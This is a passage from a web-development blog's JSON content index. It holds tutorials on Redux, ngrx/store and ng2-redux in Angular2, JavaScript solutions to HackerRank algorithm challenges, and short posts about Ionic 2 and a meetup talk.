this.store.dispatch(loginSuccess(r.access_token, r.user))) .catch((e) =\u0026gt; this.store.dispatch(loginFailed())); } } A cleaner way to do this is to use ngrx/effects .\nDerived Data To deal with derived data , Redux recommends to use Reselect . With ngrx/store you can use RxJS CombineLatest operator.\nLet\u0026rsquo;s imagine that the following object is your application state:\n{ \u0026#34;users\u0026#34;: { \u0026#34;293580923\u0026#34;: { \u0026#34;username\u0026#34;: \u0026#34;shprink\u0026#34;}, \u0026#34;423948745\u0026#34;: { \u0026#34;username\u0026#34;: \u0026#34;byjc\u0026#34;}, \u0026#34;435435799\u0026#34;: { \u0026#34;username\u0026#34;: \u0026#34;myagoo\u0026#34;}, \u0026#34;027859645\u0026#34;: { \u0026#34;username\u0026#34;: \u0026#34;whoknows\u0026#34;}, ... }, \u0026#34;trendingUsers\u0026#34;: [293580923, 435435799, ...], \u0026#34;topUsers\u0026#34;: [423948745, 027859645] } To get the trendingUsers or topUsers list of users you need to merge them with the actual users objects from the users key.\nCombineLatest emits an item whenever any of the source Observables emits a new item.\nTo get the list of trendingUsers with just CombineLatest operator, here is what you need to do:\nObservable.combineLatest( store.select(\u0026#39;users\u0026#39;), store.select(\u0026#39;trendingUsers\u0026#39;), (users: IUsersState, trendingUsers: Array\u0026lt;number\u0026gt;) =\u0026gt; trendingUsers.map(id =\u0026gt; users[id])) you can easily displayed the list of trendingUsers with the async pipe:\nimport { Store } from \u0026#39;@ngrx/store\u0026#39;; import { Observable } from \u0026#34;rxjs/Observable\u0026#34;; import \u0026#39;rxjs/add/operator/combineLatest\u0026#39;; @Component({ template: ` \u0026lt;div *ngFor=\u0026#34;let user of (usersStream$ | async)\u0026#34;\u0026gt; {{user.username}} \u0026lt;/div\u0026gt; ` }) export class TrendingUsersComponent { usersStream$: Observable\u0026lt;Array\u0026lt;IUserState\u0026gt;\u0026gt;; constructor( public store: Store\u0026lt;AppState\u0026gt; ) { this.usersStream$ = Observable.combineLatest( store.select(\u0026#39;users\u0026#39;), store.select(\u0026#39;trendingUsers\u0026#39;), (users: IUsersState, trendingUsers: Array\u0026lt;number\u0026gt;) =\u0026gt; trendingUsers.map(id =\u0026gt; users[id])) } } Redux devtools A cool thing with ngrx/store is that you can use Redux devtools for Chrome with ngrx/store-devtools .\nimport { StoreDevtoolsModule } from \u0026#39;@ngrx/store-devtools\u0026#39;; export function reducer(state: any, action: any) { ...} @NgModule({ imports: [ BrowserModule, StoreModule.provideStore(reducer), StoreDevtoolsModule.instrumentOnlyWithExtension(), ] }) export class AppModule {} I hope you guys are now excited about ngrx/store, do not hesitate to leave a comment and you can also follow updates on twitter @julienrenaux ","permalink":"https://julienrenaux.fr/2017/02/16/from-redux-to-angular-ngrxstore/","tags":[{"LinkTitle":"Angular","RelPermalink":"/tags/angular/"},{"LinkTitle":"Redux","RelPermalink":"/tags/redux/"},{"LinkTitle":"Rxjs","RelPermalink":"/tags/rxjs/"}],"title":"From Redux to Angular ngrx/store"},{"categories":[{"LinkTitle":"Web","RelPermalink":"/categories/web/"}],"content":"This post aim is to provide HackerRank algorithm solutions in JavaScript as there are so many of them available out there. I am not pretending to have the best algorithm possible but at least the following answers passed. There is no hints about the expected time complexity as there is on Codility , so many solutions can pass.\nThis kind of tests can help you going through Toptal interview process or any other big US company. If you wish to apply to Toptal , here is a referral link that will link your account to mine if you are successful!\nThis post in on going, I will add new solutions from time to time.\nWarmup Diagonal Difference Given a square matrix of size N x N , calculate the absolute difference between the sums of its diagonals\u0026hellip;\nhttps://www.hackerrank.com/challenges/diagonal-difference function main() { var n = parseInt(readLine()); var a = []; for(a_i = 0; a_i \u0026lt; n; a_i++){ a[a_i] = readLine().split(\u0026#34; \u0026#34;); a[a_i] = a[a_i].map(Number); } let sumPrimaryDiagonal = sumSecondaryDiagonal = 0; for (i = 0, len = a.length; i \u0026lt; len; i++){ let line = a[i]; sumPrimaryDiagonal += line[i]; sumSecondaryDiagonal += line[(len - 1) - i]; } console.log(Math.abs(sumPrimaryDiagonal - sumSecondaryDiagonal)) } Plus Minus Given an array of integers, calculate which fraction of its elements are positive, which fraction of its elements are negative, and which fraction of its elements are zeroes, respectively. Print the decimal value of each fraction on a new line\u0026hellip;\nhttps://www.hackerrank.com/challenges/plus-minus function main() { var n = parseInt(readLine()); arr = readLine().split(\u0026#39; \u0026#39;); arr = arr.map(Number); let positive = negative = zero = 0; for (i = 0; i \u0026lt; n; i++){ let current = arr[i]; if (current \u0026gt; 0){ positive += 1; } else if (current \u0026lt; 0){ negative += 1; } else { zero += 1; } } console.log((positive / n).toFixed(6)); console.log((negative / n).toFixed(6)); console.log((zero / n).toFixed(6)); } Staircase Consider a staircase of size n = 4 :\n#\r##\r###\r#### Observe that its base and height are both equal to n, and the image is drawn using # symbols and spaces. The last line is not preceded by any spaces. Write a program that prints a staircase of size n\u0026hellip;\nhttps://www.hackerrank.com/challenges/staircase function main() { var n = parseInt(readLine()); for (i = 1; i \u0026lt;= n; i++){ line = Array(n).fill(\u0026#39; \u0026#39;); for (j = 0; j \u0026lt; i; j++){ line[j] = \u0026#39;#\u0026#39;; } console.log(line.reverse().join(\u0026#39;\u0026#39;)) } } Time Conversion Given a time in 12-hour AM/PM format, convert it to military (24-hour) time\u0026hellip;\nhttps://www.hackerrank.com/challenges/time-conversion function main() { var time = readLine(); let hours = time.substr(0, 2); let mins = time.substr(3, 2); let secs = time.substr(6, 2); let pmOrAm = time.substr(-2, 2); if (hours === \u0026#39;12\u0026#39; \u0026amp;amp;\u0026amp;amp; pmOrAm === \u0026#39;AM\u0026#39;){ console.log(`00:${mins}:${secs}`) } else if (hours !== \u0026#39;12\u0026#39; \u0026amp;amp;\u0026amp;amp; pmOrAm === \u0026#39;PM\u0026#39;){ console.log(`${parseInt(hours) + 12}:${mins}:${secs}`) } else { console.log(`${hours}:${mins}:${secs}`) } } Circular Array Rotation John Watson performs an operation called a right circular rotation on an array of integers, [a0, a1, … an-1]. After performing one right circular rotation operation, the array is transformed from [a0, a1, … an-1] to [an-1, a0, … an-2].\nWatson performs this operation k times. To test Sherlock\u0026rsquo;s ability to identify the current element at a particular position in the rotated array, Watson asks q queries, where each query consists of a single integer, m, for which you must print the element at index m in the rotated array (i.e., the value of am)\u0026hellip;\nhttps://www.hackerrank.com/challenges/circular-array-rotation function main() { var n_temp = readLine().split(\u0026#39; \u0026#39;); var n = parseInt(n_temp[0]); var k = parseInt(n_temp[1]); var q = parseInt(n_temp[2]); a = readLine().split(\u0026#39; \u0026#39;); a = a.map(Number); for (i = 0; i \u0026lt; k; i++){ circularRotation(a); } for(var a0 = 0; a0 \u0026lt; q; a0++){ var m = parseInt(readLine()); console.log(a[m]) } function circularRotation(array) { const lastValue = array[array.length - 1]; array.pop(); return array.unshift(lastValue); } } Strings Mars Exploration Letters in some of the SOS messages are altered by cosmic radiation during transmission. Given the signal received by Earth as a string, S , determine how many letters of Sami\u0026rsquo;s SOS have been changed by radiation\u0026hellip;.\nhttps://www.hackerrank.com/challenges/mars-exploration function main() { var S = readLine(); const expectedSignal = \u0026#39;SOS\u0026#39;; let errorCount = 0; for (i = 0, len = S.length; i \u0026lt; len; i += 3) { const currentSignal = S.slice(i, i + 3); if (currentSignal === expectedSignal) continue; if (currentSignal[0] !== expectedSignal[0]) errorCount += 1; if (currentSignal[1] !== expectedSignal[1]) errorCount += 1; if (currentSignal[2] !== expectedSignal[2]) errorCount += 1; } console.log(errorCount); } Funny String Suppose you have a String, S, of length N that is indexed from 0 to N - 1. You also have some String, R, that is the reverse of String S. S is funny if the condition |S[i] - S[i - 1]| = |R[i] - R[i -1]| is true for every character i from 1 to N - 1\u0026hellip;\nhttps://www.hackerrank.com/challenges/funny-string function processData(input) { const [tempT, ...cases] = input.split(\u0026#34;\\n\u0026#34;); const T = parseInt(tempT); for (j = 0, lenCases = cases.length; j \u0026lt; lenCases; j += 1) { const currentCase = cases[j]; let funny = true; for (i = 1, len = currentCase.length; i \u0026lt;= len - 1; i += 1){ if ( Math.abs(currentCase[i].charCodeAt(0) - currentCase[i - 1].charCodeAt(0)) !== Math.abs(currentCase[len - i - 1].charCodeAt(0) - currentCase[len - i].charCodeAt(0))){ funny = false; break; } } console.log(funny ? \u0026#39;Funny\u0026#39; : \u0026#39;Not Funny\u0026#39;); } } Gemstones John has discovered various rocks. Each rock is composed of various elements, and each element is represented by a lower-case Latin letter from \u0026lsquo;a\u0026rsquo; to \u0026lsquo;z\u0026rsquo;. An element can be present multiple times in a rock. An element is called a gem-element if it occurs at least once in each of the rocks.\nGiven the list of N rocks with their compositions, display the number of gem-elements that exist in those rocks\u0026hellip;.\nhttps://www.hackerrank.com/challenges/gem-stones function processData(input) { const [tempN, ...rocks] = input.split(\u0026#34;\\n\u0026#34;); const N = parseInt(tempN); const asciiA = \u0026#39;a\u0026#39;.charCodeAt(0); const latinLetters = Array(26); // Fill latinLetters with empty arrays for (i = 0; i \u0026lt; 26; i += 1) {latinLetters[i] = [];} for (let i = 0; i \u0026lt; N; i += 1){ const rock = rocks[i] for (let j = 0, rockLen = rock.length; j \u0026lt; rockLen; j += 1){ latinLetters[rock[j].charCodeAt(0) - asciiA][i] = true; } } const gemElements = latinLetters.filter( (gem) =\u0026gt; gem.filter((rockPresence) =\u0026gt; rockPresence === true).length === N ).length console.log(gemElements); } Alternating Characters Shashank likes strings in which consecutive characters are different. For example, he likes ABABA, while he doesn\u0026rsquo;t like ABAA. Given a string containing characters A and B only, he wants to change it into a string he likes. To do this, he is allowed to delete the characters in the string.\nYour task is to find the minimum number of required deletions\u0026hellip;..\nhttps://www.hackerrank.com/challenges/alternating-characters function processData(input) { const [tempT, ...strings] = input.split(\u0026#34;\\n\u0026#34;); const T = parseInt(tempT); for (i = 0; i \u0026lt; T; i += 1){ let string = strings[i]; let deletions = 0; for (j = 1, len = string.length; j \u0026lt;= len; j += 1){ if (string[j - 1] === string[j]) deletions += 1; } console.log(deletions); } } Sorting Insertion Sort - Part 1 Given a sorted list with an unsorted number e in the rightmost cell, can you write some simple code to insert e into the array so that it remains sorted?\nPrint the array every time a value is shifted in the array until the array is fully sorted. The goal of this challenge is to follow the correct order of insertion sort.\nGuideline: You can copy the value of e to a variable and consider its cell \u0026ldquo;empty\u0026rdquo;. Since this leaves an extra cell empty on the right, you can shift everything over until V can be inserted. This will create a duplicate of each value, but when you reach the right spot, you can replace it with e\u0026hellip;\nhttps://www.hackerrank.com/challenges/insertionsort1 function processData(input) { const [Size, Arr] = input.split(\u0026#34;\\n\u0026#34;); insertionSort(Arr.split(\u0026#34; \u0026#34;).map((val) =\u0026gt; parseInt(val))); } function insertionSort(arr) { const e = arr[arr.length - 1]; for(let i=arr.length-2; i\u0026gt;=0; i--) { let value = arr[i]; if (value \u0026gt; e) { arr[i + 1] = value; console.log(arr.join(\u0026#39; \u0026#39;)) if (i === 0) { arr[i] = e; console.log(arr.join(\u0026#39; \u0026#39;)) } } else if (value \u0026lt; e) { arr[i + 1] = e; console.log(arr.join(\u0026#39; \u0026#39;)) break; } } } Insertion Sort - Part 2 In Insertion Sort Part 1, you sorted one element into an array. Using the same approach repeatedly, can you sort an entire unsorted array?\nGuideline: You already can place an element into a sorted array. How can you use that code to build up a sorted array, one element at a time? Note that in the first step, when you consider an element with just the first element - that is already \u0026ldquo;sorted\u0026rdquo; since there\u0026rsquo;s nothing to its left that is smaller.\nIn this challenge, don\u0026rsquo;t print every time you move an element. Instead, print the array after each iteration of the insertion-sort, i.e., whenever the next element is placed at its correct position.\nSince the array composed of just the first element is already \u0026ldquo;sorted\u0026rdquo;, begin printing from the second element and on\u0026hellip;.\nhttps://www.hackerrank.com/challenges/insertionsort2 function processData(input) { const [SizeString, Arr] = input.split(\u0026#34;\\n\u0026#34;); const Size = parseInt(SizeString); let arr = Arr.split(\u0026#34; \u0026#34;).map((val) =\u0026gt; parseInt(val)); for (i = 1; i \u0026lt;= Size - 1; i += 1){ const toSort = arr.slice(0, i + 1); const rest = arr.slice(i + 1, Size) arr = insertionSort(toSort).concat(rest); console.log(arr.join(\u0026#39; \u0026#39;)); } } function insertionSort(arr) { const e = arr[arr.length - 1]; for(let i=arr.length-2; i\u0026gt;=0; i--) { let value = arr[i]; if (value \u0026gt; e) { arr[i + 1] = value; if (i === 0) { arr[i] = e; } } else if (value \u0026lt; e) { arr[i + 1] = e; break; } } return arr } Search Ice Cream Parlor Each time Sunny and Johnny take a trip to the Ice Cream Parlor, they pool together m dollars for ice cream. On any given day, the parlor offers a line of n flavors. Each flavor, i, is numbered sequentially with a unique ID number from 1 to n and has a cost, ci , associated with it.\nGiven the value of m and the cost of each flavor for t trips to the Ice Cream Parlor, help Sunny and Johnny choose two flavors such that they spend their entire pool of money (m) during each visit. For each trip to the parlor, print the ID numbers for the two types of ice cream that Sunny and Johnny purchase as two space-separated integers on a new line. You must print the smaller ID first and the larger ID second.….\nhttps://www.hackerrank.com/challenges/icecream-parlor function processData(input) { const [tTemp, ...tripsTemps] = input.split(\u0026#34;\\n\u0026#34;); const t = parseInt(tTemp); const trips = []; // prepare input for (i = 0; i \u0026lt; t; i += 1){ trips.push({ m: parseInt(tripsTemps[3 * i]), // money f: parseInt(tripsTemps[1 + (3 * i)]), // flavors c: tripsTemps[2 + (3 * i)].split(\u0026#39; \u0026#39;).map((cost) =\u0026gt; parseInt(cost)) // cost }) } for (j = 0, len = trips.length; j \u0026lt; len; j += 1){ const { m, f, c } = trips[j]; let cost, compareCost; let costIndex, compareCostIndex; costLoop: for (k = 0; k \u0026lt; f - 1; k += 1){ cost = c[k]; if (cost \u0026gt;= m) continue; for (l = k + 1; l \u0026lt; f; l += 1){ compareCost = c[l]; if (cost + compareCost === m) { costIndex = k + 1; compareCostIndex = l + 1; break costLoop; } } } console.log(costIndex, compareCostIndex) } } Greedy Luck Balance Lena is preparing for an important coding competition that is preceded by N sequential preliminary contests. She believes in \u0026ldquo;saving luck\u0026rdquo;, and wants to check her theory. Each contest is described by two integers, Li and Ti:\nLi is the amount of luck that can be gained by winning the contest. If Lena wins the contest, her luck balance will decrease by Li; if she loses it, her luck balance will increase by Li. Ti denotes the contest\u0026rsquo;s importance rating. It\u0026rsquo;s equal to 1 if the contest is important, and it\u0026rsquo;s equal to 0 if it\u0026rsquo;s unimportant. If Lena loses no more than K important contests, what is the maximum amount of luck she can have after competing in all the preliminary contests? This value may be negative\u0026hellip; https://www.hackerrank.com/challenges/luck-balance function processData(input) { const [firstLine, ...rest] = input.split(\u0026#34;\\n\u0026#34;) const firstLineSplit = input.split(\u0026#34; \u0026#34;) const N = parseInt(firstLineSplit[0]) const K = parseInt(firstLineSplit[1]) const preparedInput = rest.map(item =\u0026gt; { const tuppleSplit = item.split(\u0026#34; \u0026#34;); const L = parseInt(tuppleSplit[0]) const T = parseInt(tuppleSplit[1]) return [L, T]; }) const importantContest = preparedInput.filter(item =\u0026gt; item[1] === 1) const importantContestByLuckAsc = importantContest.sort((a, b) =\u0026gt; a[0] - b[0]) const unimportantContest = preparedInput.filter(item =\u0026gt; item[1] === 0) const importantContestByLuckAscToWin = importantContestByLuckAsc .splice(0, importantContest.length - K) const importantContestByLuckAscToLoose = importantContestByLuckAsc; const sumLuck = (sum, item) =\u0026gt; sum + item[0]; const sumImportantLuckToLoose = importantContestByLuckAscToWin.reduce(sumLuck, 0) const sumImportantLuckToGain = importantContestByLuckAscToLoose.reduce(sumLuck, 0) const sumUnimportantLuckToGain = unimportantContest.reduce(sumLuck, 0) console.log((sumImportantLuckToGain + sumUnimportantLuckToGain) - sumImportantLuckToLoose) } ","permalink":"https://julienrenaux.fr/2017/02/06/hackerrank-efficient-algorithm-solutions-in-javascript/","tags":[{"LinkTitle":"Algorithms","RelPermalink":"/tags/algorithms/"},{"LinkTitle":"Javascript","RelPermalink":"/tags/javascript/"}],"title":"HackerRank efficient algorithm solutions in JavaScript"},{"categories":[{"LinkTitle":"Web","RelPermalink":"/categories/web/"}],"content":"Ionic 2 stable was announced recently. Therefore, it is a perfect time to write about the differences with Ionic1 .\nIonic 2 is a complete rewrite of the Ionic 1 project with Angular \u0026gt;= 2.x.\nMillions of applications were created using Ionic 1, with some portion of which have been published to the top mobile application stores, by hopefully avoiding The 9 Most Common Mistakes That Ionic Developers Make The Ionic project also has over 27k stars on GitHub and has risen to become one of the top 50 most popular Open Source projects worldwide.\nWith over two years of experience using Ionic 1, here is my take on the topics that make the biggest difference between Ionic 1 and Ionic 2\u0026hellip;\n\u0026hellip;Read more on Toptal Blog ","permalink":"https://julienrenaux.fr/2017/02/03/ionic-2-vs-ionic-1-performance-gains-new-tools-and-a-big-step-forward/","tags":[{"LinkTitle":"Ionic","RelPermalink":"/tags/ionic/"}],"title":"Ionic 2 vs. Ionic 1: Performance Gains, New Tools, and a Big Step Forward"},{"categories":[{"LinkTitle":"Web","RelPermalink":"/categories/web/"}],"content":"After writing two blog posts about Redux: Introduction to Redux and Angular2 and Introduction to Redux and React-Redux I decided that I was ready to present Redux in AngularToulouse meetup. A meetup group I created in Toulouse, France.\nHere are the slides, photo and video of this presentation.\nSlides All my talks slides are available in here: https://julienrenaux.fr/talks/ and the source is always open source: https://github.com/shprink/talks Photos All the photos can be found here: AngularToulouse S02E01 VIDEO in French: https://www.youtube.com/watch?v=XD8gpg2tvKY ","permalink":"https://julienrenaux.fr/2016/11/11/talk-redux-angular2/","tags":[{"LinkTitle":"Angular","RelPermalink":"/tags/angular/"},{"LinkTitle":"Redux","RelPermalink":"/tags/redux/"}],"title":"[TALK] Redux \u0026 Angular2"},{"categories":[{"LinkTitle":"Web","RelPermalink":"/categories/web/"}],"content":"In this article you will learn about Redux , Immutability and how to easily integrate the Redux ecosystem into an Angular2 application.\nRedux Redux is a predictable state container for JavaScript apps that evolved from Flux pattern.\nFlux is a pattern for a unidirectional data flow (all data in an application follow the same lifecycle pattern) created at Facebook. With Flux the view propagates an action through a central dispatcher to various stores (holding the application\u0026rsquo;s data and business logic). As a result, the views affected by those changes are updated.\nRedux reduces the \u0026ldquo;complexity\u0026rdquo; of Flux by removing the Dispatcher and by using only ONE store. Exit the Dispatcher, Redux is all about Store, Actions and Reducers.\nRedux can be used by itself on any JavaScript application or using library/framework specific bindings such as react-redux for React or ng2-redux for Angular2.\nStore With Redux, your application has only one store. This store is the \u0026ldquo;single source of truth\u0026rdquo; that represents the state of your entire application.\nHere is an example of a state of an app that has a counter, a current user and a side navigation menu.\n{ \u0026#34;isMenuOpened\u0026#34;: false, \u0026#34;user\u0026#34; : { \u0026#34;firstname\u0026#34;: \u0026#34;Julien\u0026#34;, \u0026#34;sexe\u0026#34;: \u0026#34;male\u0026#34;, \u0026#34;age\u0026#34;: 29 }, \u0026#34;counter\u0026#34; 0 } Actions To modify the store, we need to create actions. Actions are plain objects that describe the changes to apply to the state tree.\nFor instance, here is an action that increments the counter:\nconst action = { type: \u0026#39;INCREMENT_COUNTER\u0026#39; } Now let\u0026rsquo;s learn about how to apply this action using Reducers.\nReducers Reducers are pure functions that take the previous state and an action, and return the next state.\nPure functions can be described as the following:\nPredictable Testable Declarative Return a new reference Do not mutate arguments Here is an example of our counter reducer:\nconst INITIAL_STATE = 0; export default function counter(state = INITIAL_STATE, action) { switch (action.type) { case INCREMENT_COUNTER: return state + 1; case DECREMENT_COUNTER: return state - 1; default: return state; } } Several things to notice here:\nWe need an initial state (INITIAL_STATE). It will be the value of your state when the app starts. We always return the previous state as default. This is when no actions match, we do not want anything to change so we return the old state. In a case where an action matches, we return a new reference. That is what pure functions do (no mutation). Creating a store To create a store you need to register all the reducers of your app using combineReducers method:\nimport { createStore, combineReducers } from \u0026#39;redux\u0026#39; import reducerIsMenuOpened from \u0026#39;./reducers/isMenuOpened\u0026#39; import reducerCounter from \u0026#39;./reducers/counter\u0026#39; // Create a store with several reducers let store = createStore(combineReducers({ isMenuOpened: reducerIsMenuOpened, counter: reducerCounter }) Now we can use the store reference to subscribe, dispatch, or getState. These are the only methods you will ever need.\ngetState method returns the state tree at the moment you ask:\nstore.getState() subscribe is called whenever the state tree changes:\nstore.subscribe(() =\u0026gt; console.log(store.getState()) The only way to change the state tree is to emit an action through a dispatch method:\nstore.dispatch(action) This was a quick introduction because I assumed that you were a little bit familiar with Redux (not really new). If you need more information about it I suggest you go to the Redux docs or read another post of mine: Introduction to Redux and React-Redux Immutability An immutable object is an object whose state cannot be modified after it is created. To create an immutable object you can use Object.freeze(obj) .\nWhenever a change is required, a deep copy is made and a new reference is returned. That way comparing two states of any data is easy, a simple reference check is needed (state1 == state2).\nOn the other hand for mutable objects a deep check is necessary (checks every node of your tree) which can be really expensive (depending on the size of your data).\nThere are libraries helping you to create immutable objects such as immutable-js . But I will show you with those examples that it is not necessary at all.\nString, number and boolean Primitives such as string, number and boolean always return a new reference. There is no way you could mutate them, so you do not have to worry about them. For instance adding 1 to our counter is as easy as this:\nswitch (action.type) { case INCREMENT_COUNTER: return state + 1; } Arrays In general, I avoid using arrays to store data. Arrays can easily be mutated when using splice, shift, pop or push methods. Also finding elements on a large dataset can be expensive.\nIf you do want to use arrays you can use concat or slice to avoid mutations:\nswitch (action.type) { case ADD_ITEM: return state.concat([\u0026#34;newValue\u0026#34;]); case REMOVE_ITEM: return state.slice(0, index) .concat(state.slice(index, index + 1)); } Rewritten the ES6 way with the spread operator:\nswitch (action.type) { case ADD_ITEM: return [...state, \u0026#34;newValue\u0026#34;]; case REMOVE_ITEM: return [ ...state.slice(0, index), ...state.slice(index, index + 1) ] } Object literal Dictionaries are my favorite way to store data. It is easier to add, remove or retrieve an item from it:\nswitch (action.type) { case ADD_ITEM: return Object.assign({}, state, {newKey: \u0026#34;newValue\u0026#34;}); case REMOVE_ITEM: const copiedState = Object.assign({}, state) delete copiedState.newKey; return copiedState; } Rewritten the ES7 way with the object spread operator:\nswitch (action.type) { case ADD_ITEM: return {...state, newKey: \u0026#34;newValue\u0026#34;}; case REMOVE_ITEM: const copiedState = {...state} delete copiedState.newKey; return copiedState; } Angular2 Immutability is also a great benefit to add to Angular2. Indeed, if you use immutables with the right change detection strategy , your app can save a lot of unnecessary checks.\nFor instance using changeDetection: ChangeDetectionStrategy.OnPush tells your component to update only if the input reference has changed:\n@Component({ changeDetection: ChangeDetectionStrategy.OnPush }) class VCardCmp { @Input() myInput; } If you are interested to learn more about that I recommend a great article by Pascal Precht: ANGULAR 2 CHANGE DETECTION EXPLAINED Redux and Angular2 Using Angular you are probably used to create services to handle the data logic of your app. Retrieving data from a server, storing it in memory, localstorage or indexedDB on a specific service is a really common pattern.\nThe problem is that it does not scale very well. On large scale applications you could end up with dozens of services sharing most of the same code. The more your app grows, the more services you have, the more the dependency injection becomes a pain.\nA good solution to these problems is using Redux:\nSingle source of truth (not dozens of services) Single Injection (Redux service is enough) Unified API (getState, dispatch and subscribe) Possibility to synchronize with localstorage/indexedDB in single place Angular2 being relatively new, several Redux libraries are competing at the moment. If we put ngrx/store aside the most popular library is ng2-redux .\nWhy putting ngrx/store aside? Well, because it is not Redux! It is inspired by Redux but does not have the same API and cannot rely on Redux ecosystem (Thunks, Dev tools etc.).\nIt is worth noting that you can use Redux by itself with Angular2, I recommend a great article by Houssein Djirdeh: building angular 2 applications with immutable.js and redux ng2-redux ng2-redux (Angular 2 bindings for Redux) kept what made Redux popular: a simple API (getState, dispatch and subscribe) and a great ecosystem.\nIf like me you experienced using Redux with React and react-redux first, you will find ng2-redux to be very familiar.\ncombineReducers To combine reducers you can directly use Redux\u0026rsquo;s combineReducers method. If we keep the same store as in the beginning of the article:\n{ \u0026#34;isMenuOpened\u0026#34;: false, \u0026#34;user\u0026#34; : { \u0026#34;firstname\u0026#34;: \u0026#34;Julien\u0026#34;, \u0026#34;sexe\u0026#34;: \u0026#34;male\u0026#34;, \u0026#34;age\u0026#34;: 29 }, \u0026#34;counter\u0026#34; 0 } Here is how the rootReducer should look like.\nimport { combineReducers } from \u0026#39;redux\u0026#39;; import { CounterReducer } from \u0026#39;./counter\u0026#39;; import { UserReducer, IUser } from \u0026#39;./user\u0026#39;; import { isMenuOpenedReducer } from \u0026#39;./isMenuOpened\u0026#39;; export interface IAppState { isMenuOpened: boolean; user: IUser; counter: number; } export const rootReducer = combineReducers({ isMenuOpened: isMenuOpenedReducer, user: UserReducer, counter: CounterReducer }); createStore Once you have the rootReducer you can create your store. Once again, this is still Redux and not ng2-redux.\nimport { Store, createStore } from \u0026#39;redux\u0026#39;; import { rootReducer, IAppState } from \u0026#39;./reducers\u0026#39;; export const store = createStore( rootReducer ) as Store\u0026lt;IAppState\u0026gt;; configureStore Now that we have our store, we need to inject it to our app using ng2-redux this time.\nimport { NgRedux } from \u0026#39;ng2-redux\u0026#39;; @Component({ /* ... */ }) class App { constructor(private ngRedux: NgRedux\u0026lt;IAppState\u0026gt;) { this.ngRedux.provideStore(store); } } We now have access to Redux\u0026rsquo;s methods (i.e. dispatch, subscribe and getState) directly through ngRedux service:\nclass MyComponent { getUserFirstName() { const { user } = this.ngRedux.getState(); return user.firstname; } } connect Connect allows you to connect a Component to the store. It is recommended as a best practice to create two kinds of components.\nPresentational components (How things look: markup, style). Containers (How things work: manipulate the store). Containers give life to Presentational components by giving them inputs.\nIt is easier to understand with a React example. Here we create Presentational component (Menu) that has one purpose: displaying the menu.\nexport const Menu = ({ isMenuOpened, toggleMenu }) =\u0026gt; ( \u0026lt;div\u0026gt; \u0026lt;button onClick={toggleMenu}\u0026gt;Toggle menu\u0026lt;/button\u0026gt; \u0026lt;ul className={isMenuOpened ? \u0026#39;menu-opened\u0026#39; : \u0026#39;menu-closed\u0026#39;}\u0026gt;...\u0026lt;/ul\u0026gt; \u0026lt;/div\u0026gt; ); As you can see, it expects two props (input): isMenuOpened and toggleMenu. As it does not have a state, it is called a stateless component.\nNow in order for our Menu component to have a purpose, we need to feed it with isMenuOpened and toggleMenu props.\nimport { connect } from \u0026#39;react-redux\u0026#39; import Menu from \u0026#39;./Menu\u0026#39; import { toggleMenu } from \u0026#39;../actions/menu\u0026#39; const mapStateToProps = (state) =\u0026gt; ({ isMenuOpened: state.isMenuOpened }) const mapDispatchToProps = (dispatch) =\u0026gt; ({ toggleMenu: () =\u0026gt; dispatch(toggleMenu()) }) export default connect( mapStateToProps, mapDispatchToProps )(Menu) connect returns a new Container component.\nIt is important to notice that:\nPresentational components are not aware or Redux, Containers are. Presentational components read data from props while Containers subscribe to the store. Presentational components write data by invoking callback while Containers dispatch actions. Presentational components should be stateless if possible (best practice). Now if we transpose to Angular2 and ng2-redux, here is how it looks like:\nimport { Component } from \u0026#39;@angular/core\u0026#39;; import { Menu } from \u0026#39;../components/Menu\u0026#39;; import { NgRedux } from \u0026#39;ng2-redux\u0026#39;; import { bindActionCreators } from \u0026#39;redux\u0026#39;; // NB: \u0026#39;import * as MenuActions\u0026#39; won\u0026#39;t provide the right type // for bindActionCreators. const MenuActions = require(\u0026#39;../actions/MenuActions\u0026#39;); @Component({ directives: [Menu], template: ` \u0026lt;Menu [isMenuOpened]=\u0026#34;isMenuOpened\u0026#34; [toggleMenu]=\u0026#34;actions.toggleMenu\u0026#34;\u0026gt; \u0026lt;/Menu\u0026gt; ` }) export class Counter { private isMenuOpened: boolean; constructor(private ngRedux: NgRedux\u0026lt;IAppState\u0026gt;) { ngRedux.connect(this.mapStateToTarget, this.mapDispatchToThis)(this); } ngOnDestroy() { this.disconnect(); } mapStateToTarget(state) { return { isMenuOpened: state.isMenuOpened }; } // Will result in a method being created on the component for each action creator mapDispatchToThis(dispatch) { return { actions: bindActionCreators(MenuActions, dispatch) }; } } It is worth noting that Angular 2\u0026rsquo;s view layer is more optimized for Observables and the @select decorator.\n@select decorator This is a better way to use the connect pattern with Angular2. I prefer this syntax as it is more declarative, concise and has better performance (trusting the lib author here):\nimport { Component } from \u0026#39;@angular/core\u0026#39;; import { Menu } from \u0026#39;../components/Menu\u0026#39;; import { NgRedux, select } from \u0026#39;ng2-redux\u0026#39;; import { toggleMenu } = require(\u0026#39;../actions/MenuActions\u0026#39;); @Component({ directives: [Menu], template: ` \u0026lt;Menu [isMenuOpened]=\u0026#34;isMenuOpened\u0026#34; [toggleMenu]=\u0026#34;toggleMenu\u0026#34;\u0026gt; \u0026lt;/Menu\u0026gt; ` }) export class Counter { @select() isMenuOpened; constructor(private ngRedux: NgRedux\u0026lt;IAppState\u0026gt;) {} toggleMenu = () =\u0026gt; this.ngRedux.dispatch(toggleMenu()) } Dev tools Redux comes with great dev tools that you can use in your Angular2 app if of course you use either Redux itself, ng2-redux or any other libraries based on Redux (will not work with ngrx/store).\nChart monitor allows you to vizualize the state tree. It can help you understand the complexity of your state.\nState inspector gives you a way to inspect every action that happened in your app. For every action you have access to the state and what changed (diff). You can also remove an action right in the middle of the action stack to test the state as if an action (or several) never happened.\nTime machine allows you to replay a stack of actions.\nThese dev tools can either be installed in your project (adding dependencies) or as a chrome extension . I recommend using the chrome extension; it does not add dependencies to your project and can be shared with all your applications that use Redux.\nHere is how to install it:\nimport { Store, createStore } from \u0026#39;redux\u0026#39;; import { rootReducer, IAppState } from \u0026#39;./reducers\u0026#39;; export const store = createStore( rootReducer, window.devToolsExtension \u0026amp;amp;\u0026amp;amp; window.devToolsExtension() ) as Store\u0026lt;IAppState\u0026gt;; Conclusion With this presentation of Redux and ng2-redux I hope you are now interested in using them in your Angular2 apps. Redux is really addictive, once you start with it, there is no coming back!\n","permalink":"https://julienrenaux.fr/2016/08/03/introduction-to-redux-and-angular2/","tags":[{"LinkTitle":"Angular","RelPermalink":"/tags/angular/"},{"LinkTitle":"Redux","RelPermalink":"/tags/redux/"}],"title":"Introduction to Redux and Angular2"},{"categories":[{"LinkTitle":"Web","RelPermalink":"/categories/web/"}],"content":"Flux Flux is the application architecture that Facebook uses for building client-side web 